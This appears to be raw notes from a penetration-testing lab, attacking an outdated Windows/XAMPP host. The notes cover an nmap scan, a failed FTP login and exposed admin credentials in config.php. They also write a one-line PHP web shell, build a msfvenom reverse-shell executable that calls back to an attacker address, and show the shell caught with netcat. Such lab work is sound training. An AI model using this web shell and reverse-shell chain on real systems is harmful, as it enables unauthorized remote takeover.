nmap -sC -sV -T4 -A -Pn -p- --open 10.11.1.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 16:49 EST
Nmap scan report for 10.11.1.146
Host is up (0.023s latency).
Not shown: 64199 closed tcp ports (reset), 1330 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp   open  http        Apache httpd 2.4.3 ((Win32) OpenSSL/1.0.1c PHP/5.4.7)
|_http-title: CMS Mini
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
135/tcp  open  msrpc       Microsoft Windows RPC
139/tcp  open  netbios-ssn Microsoft Windows netbios-ssn
443/tcp  open  ssl/http    Apache httpd 2.4.3 ((Win32) OpenSSL/1.0.1c PHP/5.4.7)
|_http-server-header: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: CMS Mini
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: 2025-02-12T21:50:12+00:00; +2s from scanner time.
3306/tcp open  mysql       MySQL (unauthorized)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/12%OT=21%CT=1%CU=38761%PV=Y%DS=2%DC=I%G=Y%TM=67AD
OS:1793%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=I%TS=0)OPS(O1=M5B
OS:4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS%O5=M5
OS:B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF
OS:0%W6=FAF0)ECN(R=Y%DF=Y%T=80%W=FAF0%O=M5B4NW0NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80
OS:%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=80%IPL=B0%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)
 
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
|_clock-skew: 1s
|_smb2-time: ERROR: Script execution failed (use -d to debug)
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_nbstat: NetBIOS name: JENNIFER-D0B2F5, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:ac:dd:ee (VMware)
 
TRACEROUTE
HOP RTT      ADDRESS
1   23.07 ms 10.11.1.146
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.57 seconds
 

21/tcp   open  ftp         FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla

ftp anonymous@10.11.1.146
Connected to 10.11.1.146.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
331 Password required for anonymous
Password: 
530 Login or password incorrect!
ftp: Login failed
ftp> ls
530 Please log in with USER and PASS first.
530 Please log in with USER and PASS first.
ftp: Can't bind for data connection: Address already in use

80/tcp   open  http        Apache httpd 2.4.3 ((Win32) OpenSSL/1.0.1c PHP/5.4.7)
|_http-title: CMS Mini
| http-methods: 
|_  Potentially risky methods: TRACE

cat config.php
<?php
  /*
Copyright (c) 2004 AXIA Studio (html://www.axiastudio.it). 
 
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Library General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  */
 
$admin_login = 'admin';
$admin_pass = 'password';

echo '<?php system($_GET[0]); ?>' > shell.php

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.1 LPORT=1234 -f exe > rev.exe

nc -lnvp 1234 
listening on [any] 1234 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.146] 1047
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\xampp\htdocs\pages>whoami
whoami
'whoami' is not recognized as an internal or external command,
operable program or batch file.
 
C:\xampp\htdocs\pages>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is B0BB-6D0A
 
 Directory of C:\xampp\htdocs\pages
 
02/12/2025  02:47 PM    <DIR>          .
02/12/2025  02:47 PM    <DIR>          ..
02/12/2025  02:47 PM                89 dir.list
02/12/2025  02:13 PM                17 index.html
02/12/2025  02:47 PM            73,802 rev.exe
02/12/2025  02:34 PM                27 shell.php
02/12/2025  02:24 PM    <DIR>          trash
               4 File(s)         73,935 bytes
               3 Dir(s)   4,632,715,264 bytes free